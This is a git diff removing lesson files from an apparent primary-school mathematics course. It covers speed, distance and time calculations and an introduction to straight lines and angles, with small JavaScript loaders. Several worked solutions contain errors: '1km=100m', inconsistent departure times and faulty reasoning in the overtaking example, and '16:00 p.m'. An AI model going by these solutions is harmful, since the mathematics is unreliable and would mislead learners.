- <br />
- Time : 6hours
- <br />
- <br />
- B) Question: Speed=?
- <br />
- <br />
- Formula=
- <span style="text-decoration: underline;">
-  Distance(D)
- </span>
- =Speed(S)
- <br />
- Time(T)
- <br />
- <br />
- S=
- <span style="text-decoration: underline;">
-  480km
- </span>
- =80km/hr
- <br />
- 6hours
- <br />
- The speed of the bicycle was 80km/hr.
- <br />
- <br />
- Knowledge: The distance travelled by anobject in a unit time is speed.
- <br />
- <br />
- The standard international unit is metres per secod(m/s) or the kilometres pper hour (kph).
- <br />
- <br />
- Speed=
- <span style="text-decoration: underline;">
-  Distance
- </span>
- or speed =Distance /Time
- <br />
- Time
- <br />
- <br />
- Example3: Sppeed from km/hr too m/sec and m/sec to km/hr.
- <br />
- <br />
- a) Change km to metres and hours to seconds
- <br />
- <br />
- Change 144km/hr in m/sec.
- <br />
- <br />
- A) The given: Speed: 144km/hr
- <br />
- Distance: 144km
- <br />
- Time: 1hr
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION.
- </span>
- <br />
- 1km=1000m
- <br />
- 1h=60min
- <br />
- 1h=60*60=3600seconds
- <br />
- <br />
- Speed =144*1000m/3600sec =144,000m/3600sec
- <br />
- =40m/sec.
- <br />
- <br />
- B) Change 280m/sec in km/hr.
- <br />
- <br />
- The given: Speed: 280m/sec
- <br />
- -Distance=280m
- <br />
- -Time=3600sec
- <br />
- <br />
- 1km=100m
- <br />
- 280m/sec=280/1000*3600=28*36=1008km/hr.
- <br />
- <br />
- Formula: a) From km/hr to m/sec
- <br />
- <span style="text-decoration: underline;">
-  speed*1000
- </span>
- <br />
- 3600
- <br />
- <br />
- b) From m/sec to km/sec
- <br />
- <br />
- =
- <span style="text-decoration: underline;">
-  Speed*3600
- </span>
- <br />
- 1000
- <br />
- <br />
- <span style="font-weight: bold;">
-  Example 4: Calculating average speed.
- </span>
- <br />
- <br />
- A taxi driver started driving from Kigali to Nyagatare, the distance between them is 150km and used 2hrs 40min. From Nyagatare to Kigali he used 3hrs and 20min. Calculate the average speed of the taxi driver of the whole journney.
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- The given:
- <br />
- Distance from Kigali to Nyagatare=150km
- <br />
- Distance from Nyagatare to Kigali=
- <span style="text-decoration: underline;">
-  150km
- </span>
- <br />
- Total distance=.................................300km
- <br />
- <br />
- Time used from Kigali to Nyagatare: 2hr40min
- <br />
- Time used from Nyagatare to Kigali:
- <span style="text-decoration: underline;">
-  + 3h20min
- </span>
- <br />
- Total time used altogether:.................6hrs
- <br />
- <br />
- <span style="font-weight: bold;">
-  Average speed for the whole journey
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  =300km/6h=50mk/h
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- <br />
- <br />
- Whent you divide the total distance by the total time used, we get average speed of the whole journey.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Example 5: Moving bodies towards each other.
- </span>
- <br />
- <br />
- A) Two villages are separated by 600km.
- <br />
- GIf two motocyclists one of them started walking at 6:00 a.m from village one to two with 40km/h, the next started walking also at the same time of the first from village two to one using 20km/h.
- <br />
- a)At what time will they meet?
- <br />
- b) What distance covered before meeting?
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- The given:
- <br />
- speed used by first motocyclist from village one to two: 40km/h
- <br />
- Speed used by second motocyclist from village two to one:
- <span style="text-decoration: underline;">
-  +20km/h
- </span>
- <br />
- Total speed used altogether :...................................................60km/h
- <br />
- <br />
- Time covered before meeting.
- <br />
- <span style="text-decoration: underline;">
-  =600km
- </span>
- =10hrs
- <br />
- 60km/h
- <br />
- <br />
- Time for meeting
- <br />
- =6:00 a.m+10hrs=16:00 p.m
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge::
-  <br />
-  When w divide the distance by the sum of the speed ot the two bodies, we get the time takes to meet.
-  <br />
-  <span style="text-decoration: underline;">
-   Distance
-   <br />
-  </span>
-  speed1+speed2
-  <br />
-  <br />
- </span>
- B) The distance between city A and B is 525km. If Rwagasore started travelling from city A, at the same time Kabasha started moving from city B. Kabasha was moving at a speed of 75km/h and met after 5hours. Find the speed used by Rwagasore.
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- The given:
- <br />
- Total distance 525km.
- <br />
- Distance covered by Kabasha =5*75km=375km
- <br style="text-decoration: underline;" />
- <span style="font-weight: bold;">
- </span>
- <br />
- Distance covered by Rwagasore=525km-375km=150km
- <br />
- Speed used by Rwagasore
- <br />
- <span style="text-decoration: underline;">
-  =150km
- </span>
- =30km/hr
- <span style="text-decoration: underline;">
- </span>
- <br />
- 5hrs
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- <br />
- We multiply the disstance covered in hours for both bodies to get the distance, if the time is given.
- <br />
- <br />
- Example 6: Bodies following each other.
- <br />
- <br />
- A train travelling at 60km/h and left city A at 9:30 a.m . Another train travelling at 80km/hr followed afteer 2hrs. When did the second train overtake the first train?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Methode1
- </span>
- <br />
- <br />
- Speed of the first train : 60km/h
- <br />
- Speed of the second train: 80km/h
- <br />
- Distance covered after 2hrs=(80km-60km)=20km
- <br />
- The second train will take
- <br />
- <span style="text-decoration: underline;">
-  60km/h*2h
-  <br />
- </span>
- 20km
- <br />
- =3*2hrs=6hrs
- <br />
- <br />
- The second will catch up at 11:30+6hrs=17h30min p.m
- <br />
- <br />
- <span style="font-weight: bold;">
-  Methode2: Difference in departure time
-  <br />
- </span>
- <br />
- 13:30-11:00=2:00=2hrs
- <br />
- Distace covered by the first train
- <br />
- =2hrs*60km/hrs=120km
- <br />
- Difference in speed of two trains
- <br />
- =80km-60km=20km
- <br />
- <br />
- Number of hours requered for both to cover the same distance
- <br />
- <span style="text-decoration: underline;">
-  120km/h
- </span>
- =6hrs
- <br />
- 20km
- <br />
- <br />
- The time they catch up
- <br />
- =11:30+6hrs
- <br />
- =17:30 p.m
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  How to find the time when two bodies folloing each other.
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  =
- </span>
- <span style="text-decoration: underline; font-weight: bold;">
-  Distance
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  speed2-speed1
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/map611m18a02/description.py b/Save_Mathematics/P6/map611m17/map611m18a02/description.py
deleted file mode 100644
index 7078134..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m18a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m17/map611m18a02/lesson.js b/Save_Mathematics/P6/map611m17/map611m18a02/lesson.js
deleted file mode 100644
index ac22a5a..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m17/map611m18a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m17/map611m18a02/source.txt b/Save_Mathematics/P6/map611m17/map611m18a02/source.txt
deleted file mode 100644
index 0fcef84..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a02/source.txt
+++ /dev/null
@@ -1,428 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br />
- <br />
- Example1: Duration
- <br />
- <br />
-</p>
-<ul>
- <li>
-  A video conference started at 9:30 a.m aand ended aat 2:40 P.M . How long was the video conference?
- </li>
-</ul>
-<p>
- Duration=14:40PM-9:30AM=4hours 50 minutes
- <br />
- <br />
-</p>
-<ul>
- <li>
-  A workshop started at 8:30 a.m and ended at 4:30 P.M. How many hours did it take?
- </li>
-</ul>
-<p>
- Duration=16:30-8:30=8hours
- <br />
- <br />
- Example2: Speed, Distance and time.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  A bus traveled 7hours to cover a distance of 420km. At what speed does the bus travel.
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  SOLUTION.
- </span>
- <br />
- <br />
- A) The given:
- <br />
- 1) Distance: 420km
- <br />
- 2) Time: 7hours
- <br />
- <br />
- B)Question
- <br />
- <br />
- Speed=?
- <br />
- <br />
- Formula: Speed=
- <span style="text-decoration: underline;">
-  Distance
- </span>
- <br />
- Time
- <br />
- <br />
- Speed =
- <span style="text-decoration: underline;">
-  420km
- </span>
- =60km/hr
- <br />
- 7h
- <br />
- <br />
- The speed of the bus is as 60km/r
- <br />
- <br />
-</p>
-<ul>
- <li>
-  At what sppeed was the bicycle travelling to corver 480km in 6hours?
- </li>
-</ul>
-<p>
- A) The given: Distance: 480km
- <br />
- Time : 6hours
- <br />
- <br />
- B) Question: Speed=?
- <br />
- <br />
- Formula=
- <span style="text-decoration: underline;">
-  Distance(D)
- </span>
- =Speed(S)
- <br />
- Time(T)
- <br />
- <br />
- S=
- <span style="text-decoration: underline;">
-  480km
- </span>
- =80km/hr
- <br />
- 6hours
- <br />
- The speed of the bicycle was 80km/hr.
- <br />
- <br />
- Knowledge: The distance travelled by anobject in a unit time is speed.
- <br />
- <br />
- The standard international unit is metres per secod(m/s) or the kilometres pper hour (kph).
- <br />
- <br />
- Speed=
- <span style="text-decoration: underline;">
-  Distance
- </span>
- or speed =Distance /Time
- <br />
- Time
- <br />
- <br />
- Example3: Sppeed from km/hr too m/sec and m/sec to km/hr.
- <br />
- <br />
- a) Change km to metres and hours to seconds
- <br />
- <br />
- Change 144km/hr in m/sec.
- <br />
- <br />
- A) The given: Speed: 144km/hr
- <br />
- Distance: 144km
- <br />
- Time: 1hr
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION.
- </span>
- <br />
- 1km=1000m
- <br />
- 1h=60min
- <br />
- 1h=60*60=3600seconds
- <br />
- <br />
- Speed =144*1000m/3600sec =144,000m/3600sec
- <br />
- =40m/sec.
- <br />
- <br />
- B) Change 280m/sec in km/hr.
- <br />
- <br />
- The given: Speed: 280m/sec
- <br />
- -Distance=280m
- <br />
- -Time=3600sec
- <br />
- <br />
- 1km=100m
- <br />
- 280m/sec=280/1000*3600=28*36=1008km/hr.
- <br />
- <br />
- Formula: a) From km/hr to m/sec
- <br />
- <span style="text-decoration: underline;">
-  speed*1000
- </span>
- <br />
- 3600
- <br />
- <br />
- b) From m/sec to km/sec
- <br />
- <br />
- =
- <span style="text-decoration: underline;">
-  Speed*3600
- </span>
- <br />
- 1000
- <br />
- <br />
- <span style="font-weight: bold;">
-  Example 4: Calculating average speed.
- </span>
- <br />
- <br />
- A taxi driver started driving from Kigali to Nyagatare, the distance between them is 150km and used 2hrs 40min. From Nyagatare to Kigali he used 3hrs and 20min. Calculate the average speed of the taxi driver of the whole journney.
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- The given:
- <br />
- Distance from Kigali to Nyagatare=150km
- <br />
- Distance from Nyagatare to Kigali=
- <span style="text-decoration: underline;">
-  150km
- </span>
- <br />
- Total distance=.................................300km
- <br />
- <br />
- Time used from Kigali to Nyagatare: 2hr40min
- <br />
- Time used from Nyagatare to Kigali:
- <span style="text-decoration: underline;">
-  + 3h20min
- </span>
- <br />
- Total time used altogether:.................6hrs
- <br />
- <br />
- <span style="font-weight: bold;">
-  Average speed for the whole journey
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  =300km/6h=50mk/h
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- <br />
- <br />
- Whent you divide the total distance by the total time used, we get average speed of the whole journey.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Example 5: Moving bodies towards each other.
- </span>
- <br />
- <br />
- A) Two villages are separated by 600km.
- <br />
- GIf two motocyclists one of them started walking at 6:00 a.m from village one to two with 40km/h, the next started walking also at the same time of the first from village two to one using 20km/h.
- <br />
- a)At what time will they meet?
- <br />
- b) What distance covered before meeting?
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- The given:
- <br />
- speed used by first motocyclist from village one to two: 40km/h
- <br />
- Speed used by second motocyclist from village two to one:
- <span style="text-decoration: underline;">
-  +20km/h
- </span>
- <br />
- Total speed used altogether :...................................................60km/h
- <br />
- <br />
- Time covered before meeting.
- <br />
- <span style="text-decoration: underline;">
-  =600km
- </span>
- =10hrs
- <br />
- 60km/h
- <br />
- <br />
- Time for meeting
- <br />
- =6:00 a.m+10hrs=16:00 p.m
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge::
-  <br />
-  When w divide the distance by the sum of the speed ot the two bodies, we get the time takes to meet.
-  <br />
-  <span style="text-decoration: underline;">
-   Distance
-   <br />
-  </span>
-  speed1+speed2
-  <br />
-  <br />
- </span>
- B) The distance between city A and B is 525km. If Rwagasore started travelling from city A, at the same time Kabasha started moving from city B. Kabasha was moving at a speed of 75km/h and met after 5hours. Find the speed used by Rwagasore.
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- The given:
- <br />
- Total distance 525km.
- <br />
- Distance covered by Kabasha =5*75km=375km
- <br style="text-decoration: underline;" />
- <span style="font-weight: bold;">
- </span>
- <br />
- Distance covered by Rwagasore=525km-375km=150km
- <br />
- Speed used by Rwagasore
- <br />
- <span style="text-decoration: underline;">
-  =150km
- </span>
- =30km/hr
- <span style="text-decoration: underline;">
- </span>
- <br />
- 5hrs
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- <br />
- We multiply the disstance covered in hours for both bodies to get the distance, if the time is given.
- <br />
- <br />
- Example 6: Bodies following each other.
- <br />
- <br />
- A train travelling at 60km/h and left city A at 9:30 a.m . Another train travelling at 80km/hr followed afteer 2hrs. When did the second train overtake the first train?
- <br />
- <br />
- <span style="font-weight: bold;">
-  Methode1
- </span>
- <br />
- <br />
- Speed of the first train : 60km/h
- <br />
- Speed of the second train: 80km/h
- <br />
- Distance covered after 2hrs=(80km-60km)=20km
- <br />
- The second train will take
- <br />
- <span style="text-decoration: underline;">
-  60km/h*2h
-  <br />
- </span>
- 20km
- <br />
- =3*2hrs=6hrs
- <br />
- <br />
- The second will catch up at 11:30+6hrs=17h30min p.m
- <br />
- <br />
- <span style="font-weight: bold;">
-  Methode2: Difference in departure time
-  <br />
- </span>
- <br />
- 13:30-11:00=2:00=2hrs
- <br />
- Distace covered by the first train
- <br />
- =2hrs*60km/hrs=120km
- <br />
- Difference in speed of two trains
- <br />
- =80km-60km=20km
- <br />
- <br />
- Number of hours requered for both to cover the same distance
- <br />
- <span style="text-decoration: underline;">
-  120km/h
- </span>
- =6hrs
- <br />
- 20km
- <br />
- <br />
- The time they catch up
- <br />
- =11:30+6hrs
- <br />
- =17:30 p.m
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  How to find the time when two bodies folloing each other.
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  =
- </span>
- <span style="text-decoration: underline; font-weight: bold;">
-  Distance
- </span>
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  speed2-speed1
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/map611m18a03/a.txt b/Save_Mathematics/P6/map611m17/map611m18a03/a.txt
deleted file mode 100644
index 03bb966..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a03/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Independent Practice.
- </span>
- <br />
- <br />
- Answer the following:
- <br />
- <br />
- 1) If a meeting started at 10:00a.m and ended at 2:15 .m. How many hours was the meeting taken?
- <br />
- <br />
- 2) At what seed was the bicycle taking to cover640km in 8hours?
- <br />
- <br />
- 3) Express the speed in m/second
- <br />
- a) 648km/hr
- <br />
- b)120km/hr
- <br />
- <br />
- 4) Calculaate the speed in m/second of a cyclist who covered a distance of 432km in 4hours.
- <br />
- <br />
- 5) A cyclist took 8hours to cover journey aat a speed of 90km/hr and another 10hours to return through the same distance.
- <br />
- Calculate its speed in km/hr.
- <br />
- <br />
- 6) The distance between A and B is 720km.
- <br />
- If Joseph started travelling from A at the same with Tom who started travelling from B. Tom was moving at the speed of 10km/hr and they met after 6houors. Find the speed used by Tom.
- <br />
- <br />
- 7) A bicycle travelling at 50km/hr left village A at 9:00 a.m. Another bicycle travelling at 70km/h followed after 1hr. When did the second bicycle overtake the first bicycle?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/map611m18a03/description.py b/Save_Mathematics/P6/map611m17/map611m18a03/description.py
deleted file mode 100644
index 1d9cfe3..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m18a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m17/map611m18a03/lesson.js b/Save_Mathematics/P6/map611m17/map611m18a03/lesson.js
deleted file mode 100644
index 0055b40..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m17/map611m18a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m17/map611m18a03/source.txt b/Save_Mathematics/P6/map611m17/map611m18a03/source.txt
deleted file mode 100644
index 03bb966..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a03/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Independent Practice.
- </span>
- <br />
- <br />
- Answer the following:
- <br />
- <br />
- 1) If a meeting started at 10:00a.m and ended at 2:15 .m. How many hours was the meeting taken?
- <br />
- <br />
- 2) At what seed was the bicycle taking to cover640km in 8hours?
- <br />
- <br />
- 3) Express the speed in m/second
- <br />
- a) 648km/hr
- <br />
- b)120km/hr
- <br />
- <br />
- 4) Calculaate the speed in m/second of a cyclist who covered a distance of 432km in 4hours.
- <br />
- <br />
- 5) A cyclist took 8hours to cover journey aat a speed of 90km/hr and another 10hours to return through the same distance.
- <br />
- Calculate its speed in km/hr.
- <br />
- <br />
- 6) The distance between A and B is 720km.
- <br />
- If Joseph started travelling from A at the same with Tom who started travelling from B. Tom was moving at the speed of 10km/hr and they met after 6houors. Find the speed used by Tom.
- <br />
- <br />
- 7) A bicycle travelling at 50km/hr left village A at 9:00 a.m. Another bicycle travelling at 70km/h followed after 1hr. When did the second bicycle overtake the first bicycle?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/map611m18a04/a.txt b/Save_Mathematics/P6/map611m17/map611m18a04/a.txt
deleted file mode 100644
index c981770..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a04/a.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation:
- </span>
- <br />
- <br />
- Answer the folloing
- <br />
- <br />
- 1) Change 3576km/hr to m/sec
- <br />
- 2) Change 20m/secc to km/hr
- <br />
- 3) The distance from city A to city B is 240km. A motobicycle takes 4 to cover the distance. Calculate the speed of the car.
- <br />
- <br />
- 4) How long will a bus travelling at 90km/hr take to cover 270km?
- <br />
- 5) What is the duration between 4:30 a.m to 5:00 p.m?
- <br />
- <br />
- 6)If two bicycles aremoving in the same direction, suppose that a bicycle A moves at a speed of 60km/hr and bicycle B moves at a speed of 80km/hr. What is the distance between them after 4hours?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/map611m18a04/description.py b/Save_Mathematics/P6/map611m17/map611m18a04/description.py
deleted file mode 100644
index 263680b..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m18a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m17/map611m18a04/lesson.js b/Save_Mathematics/P6/map611m17/map611m18a04/lesson.js
deleted file mode 100644
index 3f35946..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m17/map611m18a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m17/map611m18a04/source.txt b/Save_Mathematics/P6/map611m17/map611m18a04/source.txt
deleted file mode 100644
index c981770..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a04/source.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation:
- </span>
- <br />
- <br />
- Answer the folloing
- <br />
- <br />
- 1) Change 3576km/hr to m/sec
- <br />
- 2) Change 20m/secc to km/hr
- <br />
- 3) The distance from city A to city B is 240km. A motobicycle takes 4 to cover the distance. Calculate the speed of the car.
- <br />
- <br />
- 4) How long will a bus travelling at 90km/hr take to cover 270km?
- <br />
- 5) What is the duration between 4:30 a.m to 5:00 p.m?
- <br />
- <br />
- 6)If two bicycles aremoving in the same direction, suppose that a bicycle A moves at a speed of 60km/hr and bicycle B moves at a speed of 80km/hr. What is the distance between them after 4hours?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m18/activities.js b/Save_Mathematics/P6/map611m18/activities.js
deleted file mode 100755
index 1b3d6eb..0000000
--- a/Save_Mathematics/P6/map611m18/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m19a01','blue'],
-['2','2','map6','basic','map611m19a02','blue'],
-['3','3','map6','basic','map611m19a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m18/map611m19a01/a.txt b/Save_Mathematics/P6/map611m18/map611m19a01/a.txt
deleted file mode 100644
index 12d6ff3..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a01/a.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- <strong>
-  Introduction: The straight lines and angles
- </strong>
-</p>
-<p>
- Being teachers,learners or constructors of houses,we have to be able to draw.We cannot build a small or a big house without using lines or angles.
- <br />
- <br />
- When we walk by foot, when we travel by car or by bus we follow certain lines.We use lines and angles for making rooms ,windows,doors and fournitures.
- <br />
- <br />
- There are so many examples of lines and angles :
- <br />
- .Two roads that one is on the left and another on the right,
- <br />
- .Opposite sides of a table,
- <br />
- .The two vertical sides of windows or door.
- <br />
- <br />
- -When we open a laptop,it can make different angles,
- <br />
- -When we open a book,it makes an angle,
- <br />
- -When you open adoor or a window,it makes an angle.
- <br />
- <br />
- In this mile stone we will stil study straight lines and angles
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m18/map611m19a01/description.py b/Save_Mathematics/P6/map611m18/map611m19a01/description.py
deleted file mode 100644
index 17b8d3b..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m19a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m18/map611m19a01/lesson.js b/Save_Mathematics/P6/map611m18/map611m19a01/lesson.js
deleted file mode 100644
index 027c932..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m18/map611m19a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m18/map611m19a01/source.txt b/Save_Mathematics/P6/map611m18/map611m19a01/source.txt
deleted file mode 100644
index 12d6ff3..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a01/source.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<p>
- <strong>
-  Introduction: The straight lines and angles
- </strong>
-</p>
-<p>
- Being teachers,learners or constructors of houses,we have to be able to draw.We cannot build a small or a big house without using lines or angles.
- <br />
- <br />
- When we walk by foot, when we travel by car or by bus we follow certain lines.We use lines and angles for making rooms ,windows,doors and fournitures.
- <br />
- <br />
- There are so many examples of lines and angles :
- <br />
- .Two roads that one is on the left and another on the right,
- <br />
- .Opposite sides of a table,
- <br />
- .The two vertical sides of windows or door.
- <br />
- <br />
- -When we open a laptop,it can make different angles,
- <br />
- -When we open a book,it makes an angle,
- <br />
- -When you open adoor or a window,it makes an angle.
- <br />
- <br />
- In this mile stone we will stil study straight lines and angles
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m18/map611m19a02/a.txt b/Save_Mathematics/P6/map611m18/map611m19a02/a.txt
deleted file mode 100644
index a241f5f..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a02/a.txt
+++ /dev/null
@@ -1,139 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Straight Lines:
-  <br />
-  <br />
- </span>
- (diagram) This is a line segment.
- <br />
- <br />
- <br />
- <br />
- <br />
- (diagram) A segment line has 2 points
- <br />
- <br />
- <br />
- <br />
- <br />
- 1)(diagram)Vertical lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 2) (diagram)Holizontal lines.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 3)(diagram) Oblique lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 4) (diagram)Perpendicular lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 5) Non perpendicular lines
- <br />
- <br />
- <br />
- <br />
- <br />
- 6)(diagram) Perpendicular cutting lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 7) Non perpendicular cutting lines.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  Straight vertical lines are upright or perpendicular
- </li>
- <li>
-  Straight oblicque lines are sloping lines
- </li>
- <li>
-  Straight horizontal lines are right to let straight lines
- </li>
-</ul>
-<p>
- * A perpendicular line is an upright liine that forms an angle of 90o or a right angle with another line or surface .
- <br />
- <br />
- * A cutting line is a line that crosses through another line.
- <br />
- <br />
- 8) Parallel straight lines.
- <br />
- (Diagram)
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Notice
- </span>
- : The straight lines do not meet. They havve the same distance apart at every point.
- <br />
- <span style="font-weight: bold;">
-  &nbsp;
- </span>
- <br />
- <br />
- 9) Cutting straight lines and Parallel straight lines.
- <br />
- &lt;Dia
- <span style="font-weight: bold;">
-  gram&gt;
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  Paralles straight lines do not cut each other.
- </li>
- <li>
-  Cuttiing straight lines cross each other.
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m18/map611m19a02/description.py b/Save_Mathematics/P6/map611m18/map611m19a02/description.py
deleted file mode 100644
index dc5d2d6..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m19a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m18/map611m19a02/lesson.js b/Save_Mathematics/P6/map611m18/map611m19a02/lesson.js
deleted file mode 100644
index 2561f04..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m18/map611m19a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
